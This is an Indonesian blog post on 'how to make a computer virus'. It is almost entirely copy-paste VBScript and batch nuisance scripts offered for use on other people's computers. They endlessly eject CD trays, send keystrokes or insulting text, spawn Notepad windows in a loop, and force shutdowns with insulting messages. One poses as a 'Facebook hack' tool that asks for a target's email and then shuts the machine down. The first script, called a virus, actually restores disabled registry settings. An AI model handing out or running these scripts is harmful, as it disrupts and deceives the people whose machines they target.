Latest Entries »

Saturday, April 10, 2010

cara membuat sebuah virus komputer

postingan kali ini mau singkat saja : cara membuat virus itu mudah copy script di bawah ini simpan dengan eksistensi VBS (ke notepad)


On error resume next

Dim Reg

Set Reg = CreateObject(”WScript.Shell”)

if msgbox(”Kembalikan menu Run ?” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “0″, “REG_DWORD”

end if

if msgbox(”Enable Registry Tool ?” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “0″, “REG_DWORD”

end if

if msgbox(”Perlihatkan file hidden” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “1″, “REG_DWORD”

end if

if msgbox(”Kembalikan menu Find” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “0″, “REG_DWORD”

end if

if msgbox(”Kembalikan menu Option” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “0″, “REG_DWORD”

end if

if msgbox(”Enable Taskmanager” , VbOkCancel) = VbOK then

Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “0″, “REG_DWORD”

end if

jika udah simpan dengan ekstensi vbs , jangan lupa itu… sebagai contoh: obatgila.vbs

ni W tambahinn

buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs

5.bikin vbscript nongol mlulu
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running

teken tombol backspace mlulu
Code:
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs

7.otomatis ngetik "lu jelek banget sih" di notepad/word
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
save namafile.vbs

8.buka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.

klo yg lain simpan dengan extensi bat bukan vbs


ni tambah lagyy
bikin shutdown+message
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

3.Mainin Caps Lock button
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs

ni w tambah lagy

on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Masukan Email Facebook Target. Warning, Memasukan Email Tidak boleh salah","http://www.xplaine.co.cc")
if quest="" then
m=MsgBox("Maaf Email Belum Dimasukan", 0+0=48, "xplaine Hack Facebook")
end if
loop
if quest="echo" then
s.run "shutdown -a"
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 30"
end if
Artikel Terkait Lainnya Seputar:


1 comment:

mohon maaf komentar berisi link promosi dan tidak nyambung dengan artikel akan segera di hapus...
komentar sobat akan sangat berarti untuk kemajuan blog ini....
tapi tolong jangan nyepam yah sobat :)